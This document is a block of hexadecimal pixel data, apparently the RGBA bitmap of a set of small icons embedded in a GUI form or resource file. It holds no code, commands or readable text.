FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7A7A79FF635F5FFF636160FF6D6B\n      69FF706D6DFF737070FF767473FF777674FF7A7677FF9B939FFF98A18BFF88A2\n      6DFF92AA7CFFADADA8FFFFFFFFFFFFFFFFFF7A7A79FF635F5FFF636160FF6D6B\n      69FF706D6DFF737070FF767473FF777575FF7E7973FF9C9B8DFF8984A7FF7068\n      B9FF7B76BCFFA8A6AFFFFFFFFFFFFFFFFFFF668458FF7CA969FFBCD8AEFF98A2\n      95FFD5D6D5FFD4D4D4FFFFFFFFFFD6D6D6FFD4D4D4FFFFFFFFFFD9DAD9FFD1D2\n      D1FFFFFFFFFFDEDEDDFFD1D2D1FFFFFFFFFF67845AFF85AE70FFBBD3B0FF8A96\n      85FF94B883FFBFD6B1FF97A294FFD6D6D6FFD4D4D4FFFFFFFFFFD9DAD9FFD1D2\n      D1FFFFFFFFFFDEDEDDFFD1D2D1FFFFFFFFFF969595FF6F6F6FFF6E6B6AFF9C97\n      95FFA9A6A4FFACA9A7FFACA9A7FFABA8A8FFC6BEC7FF79A24EFF297C00FF1D87\n      00FF34A211FF49AD30FF9EC28CFFFFFFFFFF969595FF6F6F6FFF6E6B6AFF9C97\n      95FFA9A6A4FFACA9A7FFACA8A8FFAEABA5FFC4C4B7FF5B51C3FF1201BDFF1102\n      CEFF1A0FE6FF2018E9FF8681D9FFFFFFFFFF5D8445FF5B9441FFBFE5AEFF9AA9\n      95FFD1D3D0FFD4D5D3FFDCDDDCFFD2D3D1FFD3D4D2FFFFFFFFFFD3D4D2FFD2D3\n      D2FFFFFFFFFFD4D5D3FFD2D4D2FFD2D3D2FF567D3EFF629A48FFC8EAB8FF8397\n      77FF82B367FFCFF0BCFF9BAC94FFD2D3D1FFD3D4D2FFFFFFFFFFD3D4D2FFD2D3\n      D2FFFFFFFFFFD4D5D3FFD2D4D2FFD2D3D2FFFFFFFFFFFFFFFFFFFFFFFFFFB7B6\n      B4FFD2D1D0FFD6D4D3FFD5D3D2FFE7DEEAFF9CB081FF176300FF338300FFBECB\n      B2FF6CBD5AFF49BC3AFF45AC2BFFA9ADA5FFFFFFFFFFFFFFFFFFFFFFFFFFB7B6\n      B4FFD2D1D0FFD6D4D3FFD5D3D2FFEAEAD7FF8780C4FF0000A3FF1000B9FF0C00\n      CAFF1A0EE0FF1B14EEFF1209E5FFA7A5B1FF789666FF6B9C54FFB2D9A1FF929D\n      8EFFD0D2CFFFD4D5D4FFD9DAD9FFD1D3D0FFD4D5D4FFDDDEDDFFD2D4D1FFD3D4\n      D2FFE0E0E0FFD2D4D2FFD3D4D2FFD1D1D0FF749760FF689A4FFFBADEAAFF8293\n      76FF679E4DFFC2E7AFFF9BAD94FFD1D3D0FFD4D5D4FFDDDEDDFFD2D4D1FFD3D4\n      D2FFE0E0E0FFD2D4D2FFD3D4D2FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFD3D3\n      D3FFBEBBB9FFC3C2BFFFC2C0BFFFD8D1DBFF50801FFF2F7000FFB0B9A4FFF9F1\n      FBFFF4F6F6FF56B848FF4DB63AFF94AF84FFFFFFFFFFFFFFFFFFFFFFFFFFD3D3\n      D3FFBEBBB9FFC3C2BFFFC3C1BEFFD9DACBFF2E22AAFF6158AFFFACA8C6FFA7A2\n      D1FFBEBCEBFFCAC8F0FF5E58E7FF7D78C4FFA0A59CFF739864FF8CA982FFD0D1\n      CFFFCFD1CEFFD4D5D3FFDADBDAFFD0D2CFFFD4D5D3FFDEDEDDFFD2D4D1FFD3D4\n      D2FFFFFFFFFFD2D4D2FFD3D4D2FFD1D1D0FF939C8CFF7B9870FF9BAE93FF929C\n      8DFF4F8A36FFB0D89CFF9BAF91FFD0D2CFFFD4D5D3FFDEDEDDFFD2D4D1FFD3D4\n      D2FFFFFFFFFFD2D4D2FFD3D4D2FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFF979695FFAAA7A5FFA9A6A5FFC4BCC4FF4C7D18FF437A0FFF549324FF2B90\n      00FFAFD5A1FFD2E5D3FF49B437FF90B07BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFF979695FFAAA7A5FFAAA7A3FFC5C3B7FF281BA9FF857BB7FFECECE1FFEEEE\n      EEFFF8F8F7FFFFFFF9FF746EE8FF7570C5FFFFFFFFFFDCDDDCFFFFFFFFFFFFFF\n      FFFFCED0CDFFD3D5D2FFDADBD9FFCFD1CEFFD4D5D3FFDDDEDDFFD1D3D0FFD3D4\n      D2FFFFFFFFFFD1D3D0FFD2D4D2FFD1D1D0FFFFFFFFFFDCDDDCFFFFFFFFFFA0A8\n      9DFF4A8231FF97C382FF9CAD93FFCFD1CEFFD4D5D3FFDDDEDDFFD1D3D0FFD3D4\n      D2FFFFFFFFFFD1D3D0FFD2D4D2FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFA1A09FFF8C8A87FF93908CFFAA9FABFF759651FF1E6A00FF419001FF4EA5\n      20FF49B330FF98D091FF7CBC6EFFA1AD98FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFA1A09FFF8C8A87FF93908DFFAEAB96FF645BB6FF0000A3FF1F10B7FF2114\n      C8FF2B22DCFF352FE9FF221AE7FFA19FB5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFCED0CCFFD2D3D1FFD9DAD9FFCED0CDFFD3D4D2FFDDDEDDFFD0D2CFFFD2D4\n      D1FFFFFFFFFFD1D2CFFFD2D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFA6AB\n      A2FF6A9755FF8EB879FF909D8AFFCED0CDFFD3D4D2FFDDDEDDFFD0D2CFFFD2D4\n      D1FFFFFFFFFFD1D2CFFFD2D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFADAD\n      ACFFA7A5A3FFC3C1BFFFC6C4C3FFC6C0C5FFC4C3C0FF4B8314FF388700FF46A0\n      15FF50B637FF47B432FF8BBC77FFD7D6D7FFFFFFFFFFFFFFFFFFFFFFFFFFADAD\n      ACFFA7A5A3FFC3C1BFFFC6C4C4FFC7C4BCFFC4C1C4FF3427B3FF1E0FBFFF291B\n      D6FF2D23ECFF2A22EFFF6B63DDFFD7D7D6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFCFD1CEFFD1D3D1FFDEDFDEFFCDD0CCFFD2D4D2FFDDDEDDFFCFD1CEFFD1D3\n      D1FFFFFFFFFFD0D2CFFFD1D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFC3C5\n      C2FF709362FF7A9A6DFFCACCC9FFCDD0CCFFD2D4D2FFDDDEDDFFCFD1CEFFD1D3\n      D1FFFFFFFFFFD0D2CFFFD1D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFA9A8A8FFB9B5\n      B5FFDFDDDCFFDEDCDBFFBFBFBEFFD4D3D2FFE3DDE5FFCFCCCAFF7DA159FF5E99\n      2EFF65A243FF9AB38BFFC7C7C7FFFFFFFFFFFFFFFFFFFFFFFFFFA9A8A8FFB9B5\n      B5FFDFDDDCFFDEDCDBFFBFBFBEFFD4D3D3FFE5E4D7FFCFCDCCFF726AC0FF4B40\n      C5FF5046CCFF918DC4FFC8C7C6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFCDCFCCFFD2D3D1FFDDDEDDFFCED1CDFFD1D2\n      D0FFFFFFFFFFCFD1CEFFD1D3D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFCDCFCCFFD2D3D1FFDDDEDDFFCED1CDFFD1D2\n      D0FFFFFFFFFFCFD1CEFFD1D3D0FFD1D1D0FFFFFFFFFFFFFFFFFFAFACAAFFE0DE\n      DDFFBDBBBAFF6C6A69FF868382FF9C9897FFC4C2C1FFE1DBE0FFC9C0CDFFACAA\n      ACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFACAAFFE0DE\n      DDFFBDBBBAFF6C6A69FF868382FF9C9897FFC4C2C1FFE1DFD8FFCDCCB8FFADAC\n      A9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CDFFD0D2CFFFDDDEDDFFCED0CDFFD0D2\n      CFFFFFFFFFFFCFD1CEFFD0D2D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CDFFD0D2CFFFDDDEDDFFCED0CDFFD0D2\n      CFFFFFFFFFFFCFD1CEFFD0D2D0FFD1D1D0FFFFFFFFFFA8A8A8FFC7C5C3FFD8D8\n      D7FF5E5C5BFF7A7777FF5D5A5CFF959292FFB8B6B5FFD6D4D3FFCECDCBFF9493\n      92FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA8A8A8FFC7C5C3FFD8D8\n      D7FF5D5C5BFF7A7777FF5D5A5CFF959292FFB8B6B5FFD6D4D3FFCECCCCFF9492\n      91FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFCFD1CEFFD4D5D3FFFFFFFFFFCCCECBFFCFD1\n      CEFFFFFFFFFFCED1CDFFD0D2CFFFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFCFD1CEFFD4D5D3FFFFFFFFFFCCCECBFFCFD1\n      CEFFFFFFFFFFCED1CDFFD0D2CFFFD1D1D0FFFFFFFFFF999897FFD0CECDFFAEAD\n      ADFF636160FF514F4FFF7C8E69FF62655EFFB7B4B6FFC6C4C3FFD3D1D0FFA09D\n      9BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF999897FFD0CECDFFAEAD\n      ADFF636160FF514F4FFF7C8E69FF62655EFFB7B4B6FFC6C4C3FFD3D1D0FFA09D\n      9BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCFCBFFCED0\n      CDFFE0E0DFFFCFD1CEFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCFCBFFCED0\n      CDFFE0E0DFFFCFD1CEFFCFD1CEFFD0D1D0FFFFFFFFFF9D9C9CFFCECDCCFFBFBD\n      BEFF5F5B5BFF6B6867FF60665AFF737370FFBAB8B7FFC8C6C4FFD4D4D3FF9D9C\n      9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9C9CFFCECDCCFFBFBD\n      BEFF5E5B5BFF6B6867FF60665AFF737370FFBAB8B7FFC8C6C4FFD4D4D3FF9D9C\n      9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CEFFCED0\n      CDFFFFFFFFFFCDD0CCFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CEFFCED0\n      CDFFFFFFFFFFCDD0CCFFCFD1CEFFD0D1D0FFFFFFFFFFC2C2C2FFBCBAB8FFE6E5\n      E3FF7A7879FF706E6CFF8F8B8CFFA6A2A1FFA6A4A3FFDDDCDBFFC8C6C4FF9B9A\n      9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC2C2C2FFBCBAB8FFE6E5\n      E3FF7A7879FF706E6CFF8F8B8CFFA6A2A2FFA6A4A2FFDDDCDBFFC8C6C4FF9B9A\n      9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDDDCFFFFFF\n      FFFFFFFFFFFFCCCECBFFCED0CDFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDDDCFFFFFF\n      FFFFFFFFFFFFCCCECBFFCED0CDFFD0D1D0FFFFFFFFFFFFFFFFFF9C9997FFCDCB\n      CBFFE1DFDEFFADABACFFA19F9EFFB2B0AFFFD9D7D6FFD5D3D2FFAEACAAFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9997FFCDCB\n      CBFFE1DFDEFFADABACFFA19F9EFFB2B0AFFFD9D7D7FFD5D3D2FFAEACAAFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCDCFCCFFCDD0CCFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCDCFCCFFCDD0CCFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFA09F\n      9CFFC5C4C1FFDDDDDCFFD8D5D4FFDBDBDAFFCCC9C8FFAFACAAFFBEBDBDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA09F\n      9CFFC5C4C1FFDDDDDCFFD8D5D4FFDBDBDAFFCCC9C8FFAFACAAFFBEBDBDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCFD1CEFFCED0CDFFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCFD1CEFFCED0CDFFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFA4A3A2FF9B9A99FFA29F9DFF9F9D9BFF9B9A9AFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFA4A3A2FF9B9A99FFA29F9DFF9F9D9BFF9B9A9AFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFDADBD9FFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFDADBD9FFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFF266E2AFF0C9010FF0E8E11FF0E8D\n      12FF0F8F12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8F\n      12FF0E8D11FF0D8E10FF0D9110FF4C734EFF252525FF0B0B0BFF0C0C0CFF0D0D\n      0DFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0C0C\n      0CFF0D0D0DFF0C0C0CFF0C0C0CFF4B4B4BFF1F7735FF019E25FF029C25FF039D\n      26FF029D26FF029D26FF029D26FF029D26FF029D24FF039B27FF132FFAFF1139\n      ECFF011600FF021D13FF009EFFFF487596FF959A99FF0D7B32FF01A738FF0CA2\n      37FF0BA237FF0BA237FF0BA237FF0BA237FF0BA237FF0BA237FF0BA237FF0BA2\n      37FF0CA136FF0AA235FF09A636FF4A7A58FF267028FF0E8910FF108810FF0F89\n      11FF118913FF118913FF118913FF118913FF118913FF118913FF118913FF1189\n      13FF108912FF0F8811FF0D8B10FF4D754DFF252525FF0B0B0BFF0F0F0FFF1010\n      10FF101010FF101010FF101010FF101010FF101010FF101010FF101010FF1010\n      10FF101010FF0E0E0EFF0C0C0CFF4B4B4BFF207834FF069724FF089526FF0995\n      27FF0A9527FF0A9528FF0A9528FF0A9528FF0A9626FF099426FF192BF2FF1834\n      E5FF071200FF081711FF0696FFFF48759AFFBDBEBEFFFFFFFFFF457651FF00AA\n      76FF0EB283FF0FAF7CFF0FAF7CFF0FAF7CFF0FAF7CFF0FAF7CFF0FAF7CFF0FAF\n      7CFF0EAF7BFF0DAF7BFF0BB380FF4A8370FF25731FFF0A880BFF0D850EFF0E86\n      0FFF0F860EFF0F880EFF0F870EFF0F8710FF0F8710FF0F870EFF0F880EFF0F86\n      0EFF0E860FFF0B850EFF0A890BFF49734AFF242424FF0B0B0BFF0C0C0CFF0F0F\n      0FFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E\n      0EFF0D0D0DFF0D0D0DFF090909FF494949FF227532FF089323FF0B9125FF0C93\n      26FF0D9327FF0D9227FF0D9227FF0D9227FF0D9325FF0C9226FF1C28F2FF1B31\n      E3FF0A0E00FF0A1310FF0892FFFF497399FFB8B8B8FFFFFFFFFFFFFFFFFF97A8\n      B0FF00B6E4FF08E5FFFF0BE3FFFF0BE3FFFF0BE3FFFF0BE3FFFF0BE3FFFF0BE4\n      FFFF0AE2FFFF08E2FFFF06E9FFFF4895A3FF233A77FF16930CFF11880DFF0E83\n      0DFF0D830FFF0D830EFF0E840FFF158B10FF0E830EFF0D830EFF0D830EFF0D83\n      0FFF0C820DFF0B810BFF098609FF4A734AFF202020FF000000FF000000FF0202\n      02FF020202FF020202FF020202FF020202FF020202FF020202FF020202FF0202\n      02FF010101FF000000FF000000FF484848FF247432FF099021FF0C8F24FF0E91\n      25FF0D9024FF0F9226FF0F9225FF0F9225FF0F9224FF0E9125FF1E25F2FF1B2E\n      E3FF0C0B00FF0C100FFF098FFFFF497299FFB8B8B8FFFDFFFFFFFFFFFFFFFFFF\n      FFFFEED5CFFF1560A5FF0F5FF4FF1866EBFF1866E9FF1866E9FF1766E9FF1765\n      E9FF1665E9FF1564E9FF1265F1FF4D6796FF21209FFF2319E8FFFCF2FFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFADA2FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A2A5FFC7C7C7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF257432FF0A9021FF0D8E22FF0D8F\n      23FF0F9124FF109026FF109026FF109026FF109124FF0F9025FF1F22F2FF1D2C\n      E4FF0C0900FF0C0E0DFF0990FFFF497199FFB8B8B8FFFFFFFFFF139EE5FF31C1\n      ECFF1AACE8FFFFFFF5FF4D4B8AFF0B14DCFF1F28F2FF1F29F1FF1F29F1FF1E28\n      F1FF1D27F1FF1B24F1FF1824F7FF4F5199FF24249CFF0808D3FF0000C8FF8F8F\n      E7FFFFFFFFFFFFFFFFFF7070E2FFB1B1EEFF4747DAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF247533FF0C9526FF0D9024FF0E8E\n      24FF109126FF109126FF109126FF109126FF0F9124FF0F9125FF1F23F2FF1E2C\n      E4FF0C0900FF0C0E0FFF0990FFFF497199FFBBBBB8FFFFFFFFFF0CB8EBFF1CAC\n      D8FF11BDEAFFD1F5F5FFFFFFFFFFA5A59EFF08080AFF0E0E0FFF0F0F0FFF0F0F\n      0FFF0E0E0EFF0C0C0DFF09090AFF49494AFF25259CFF0808D4FF0303CEFFBABA\n      F0FFFFFFFFFFFFFFFFFF7B7BE4FFB2B2EFFF7474E2FFF4F4FCFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF257733FF0E9628FF11952BFF1195\n      2AFF0F8F25FF0F9024FF0F9025FF109126FF0F9124FF0F8F26FF201AFFFF1F22\n      F3FF0C0000FF0C040EFF098FFFFF4970A0FFABACB7FF2429E4FF1F9AEDFF29DB\n      FDFF0A70E8FF4B50E6FFFFFFFFFF8D8E92FF07081BFF101222FF101223FF1011\n      23FF0F1021FF0D1021FF0A0B1FFF494950FF2121A3FF4040EDFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFBFBFBFFB0B0F9FFFBFBFBFFFBFBFBFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA4A4A4FFC4C4B9FFFFFFFFFFFBFBF9FFFBFB\n      F9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFB\n      F9FFFBFBF9FFFBFBF9FFFFFFFFFFA2A29DFF257735FF0F9A2BFF12982EFF1499\n      2FFF159930FF14972DFF119327FF0E8F24FF0F8F24FF0E9023FF0F8F25FF0E92\n      1FFF0D892DFF0B8D1FFF09941DFF497550FFBCBBB8FFFFFFFFFF37CDF5FF0D48\n      DEFFE5D9FFFFFFFFEDFF3F3E8DFF0D17E4FF1E27EFFF1E27EFFF1F27EFFF1D26\n      EFFF1C25EFFF1A22EFFF1923F5FF4F5199FF262666FF0B0B00FF000000FF0000\n      00FF000000FF000000FF010100FF080802FF000000FF000000FF000000FF0000\n      00FF000000FF000000FF000000FF474747FF3634B0FF3230F4FF3230EBFF3533\n      EBFF3432EBFF3634EBFF3633EBFF3634EBFF3331EBFF302EEAFF2F2DEAFF2F2D\n      EAFF2F2DEAFF312FEBFF312FF7FF535198FF267735FF109C2FFF139A31FF169B\n      32FF179C33FF179C33FF179C33FF179C34FF169B32FF159930FF159C23FF1593\n      3BFF14828CFF1276AEFF0F9741FF49784DFFB8B8B8FFFEFFFFFFA2E6F5FF958E\n      F9FFE2D9C6FF1470B5FF1C7AF8FF2381EFFF207CEFFF1F7BEDFF1E7AEDFF1E7A\n      EDFF1D7AEDFF1D7CEFFF1C81F6FF4D6D98FF252520FF101010FF131313FF1515\n      15FF161616FF171717FF171717FF171717FF171717FF171717FF171717FF1616\n      16FF151515FF131313FF0F0F0FFF494949FF4140B1FF4643F6FF4745F2FF4746\n      F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947\n      F2FF4846F2FF4745F2FF4644F9FF585899FF257735FF109E31FF139C33FF159D\n      34FF169D35FF179D35FF179D35FF179D35FF179D35FF179F2DFF17829DFF1680\n      BDFF158CC9FF138888FF0F83C8FF496B7AFFB8B8B8FFFFFFFFFFFFFFFFFF8FA9\n      AEFF00C4F1FF13E7FFFF15E6FFFF15E6FFFF15E6FFFF15E6FFFF15E6FFFF14E6\n      FFFF13E6FFFF11E5FFFF0DECFFFF4894A3FF232323FF0B0B0BFF0E0E0EFF1010\n      10FF111111FF111111FF111111FF111111FF111111FF111111FF111111FF1111\n      11FF101010FF0E0E0EFF0A0A0AFF474747FF4140B1FF4644F6FF4644F2FF4845\n      F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846\n      F2FF4745F2FF4643F2FF4644F9FF575797FF237734FF0BA02FFF0E9E31FF109D\n      32FF119D33FF119D33FF119D33FF119D33FF119D33FF119D32FF119E2EFF119F\n      27FF109F25FF0E9F27FF0AA424FF47764DFFBEBDBEFFFFF7FFFF39734BFF0AB3\n      78FF1AB479FF1AB176FF1AB176FF1AB176FF1AB176FF1AB176FF1AB176FF1BB1\n      76FF1AB176FF18B075FF14B678FF497D69FF303030FF333333FF313131FF3333\n      33FF333333FF333333FF333333FF333333FF333333FF333333FF333333FF3333\n      33FF333333FF313131FF323232FF555555FF4948B7FF605FF9FF5D5BF5FF5E5C\n      F5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5C\n      F5FF5E5CF5FF5D5BF6FF605DF9FF6464A7FF2F7C3EFF33AC4EFF31AA4CFF33AA\n      4DFF33AA4DFF33AA4DFF33AA4DFF33AA4DFF33AA4DFF33AA4DFF33AA4CFF33AA\n      4DFF33AA4DFF31AA4CFF32AC4CFF55845DFF9A9B9AFF338C4FFF35B25DFF3DAE\n      5DFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE\n      5EFF3DAE5CFF3CAD5BFF3CB05DFF588764FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      